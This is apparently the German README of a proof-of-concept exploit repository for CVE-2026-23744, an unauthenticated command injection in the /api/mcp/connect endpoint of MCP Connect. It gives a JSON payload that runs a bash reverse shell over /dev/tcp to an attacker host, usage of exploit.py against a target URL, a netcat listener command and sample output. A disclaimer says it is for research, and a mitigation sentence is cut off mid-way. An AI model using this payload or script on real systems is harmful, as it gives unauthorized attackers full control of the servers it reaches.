
Proof-of-Concept-Exploit für CVE-2026-23744, eine nicht authentifizierte Befehlsinjektion in MCP Connect, die zu Remote-Code-Ausführung und Reverse Shell führt.
⚠️ Haftungsausschluss: Dieses Repository dient ausschließlich Bildungs- und Sicherheitsforschungszwecken. Die Verwendung dieses Exploits gegen Systeme ohne ausdrückliche Genehmigung ist illegal. Der Autor übernimmt keine Verantwortung für den Missbrauch dieses Codes.
Die Schwachstelle liegt im Endpunkt /api/mcp/connect, der es einem nicht authentifizierten Angreifer ermöglicht, einen beliebigen MCP-Server (Model Context Protocol) mit einer bösartigen Konfiguration zu registrieren. Da das Feld command und dessen args weder validiert noch bereinigt werden, ist es möglich, Betriebssystembefehle einzuschleusen, die direkt auf dem Server mit den Rechten des Webprozesses ausgeführt werden.
Dies führt zu einer Remote Code Execution (RCE), die ausgenutzt werden kann, um eine Reverse Shell auf dem kompromittierten System zu erhalten.
| Feld | Detail |
|---|---|
| Typ | Remote Code Execution (RCE) |
| Vektor | Netzwerk (HTTP POST ohne Authentifizierung) |
| Endpunkt | /api/mcp/connect |
| Schweregrad | 🔴 Kritisch |
| Authentifizierung | Nicht erforderlich |
| Auswirkung | Vollständige Kontrolle über den Server |
{
"serverId": "shell1",
"serverConfig": {
"command": "bash",
"args": ["-c", "bash -i >& /dev/tcp/<LHOST>/443 0>&1"],
"env": {}
}
}
Der Server verarbeitet diese Konfiguration und führt den Befehl bash mit den bereitgestellten Argumenten aus, wodurch eine umgekehrte TCP-Verbindung zum Angreifer aufgebaut wird.
pip install requests termcolor
python3 exploit.py -l <DEINE_IP> -u <ZIEL_URL>
| Parameter | Beschreibung | Beispiel |
|---|---|---|
-l | Deine IP (wo du die Shell empfängst) | 192.168.1.50 |
-u | Basis-URL des Ziels | https://victim.com |
Terminal 1 — Listener:
nc -nlvp 443
Terminal 2 — Exploit:
python3 exploit.py -l 192.168.1.50 -u https://victim.com
[-] Please, execute the following command in another terminal:
[+] nc -nlvp 443
[-] Press 'Enter' when the command has been executed...
[+] Sending attack request...
Sobald die Anfrage gesendet wurde, empfängt der Listener auf Port 443 die umgekehrte Verbindung mit einer interaktiven Shell des kompromittierten Servers.
/api/mcp/connect, bevor Sie sie verarbeiten..
├── exploit.py # Hauptskript des Exploits
└── README.md # Diese Datei
Entwickelt für Forschungszwecke in der offensiven Sicherheit von Jorge Arana Fedriani.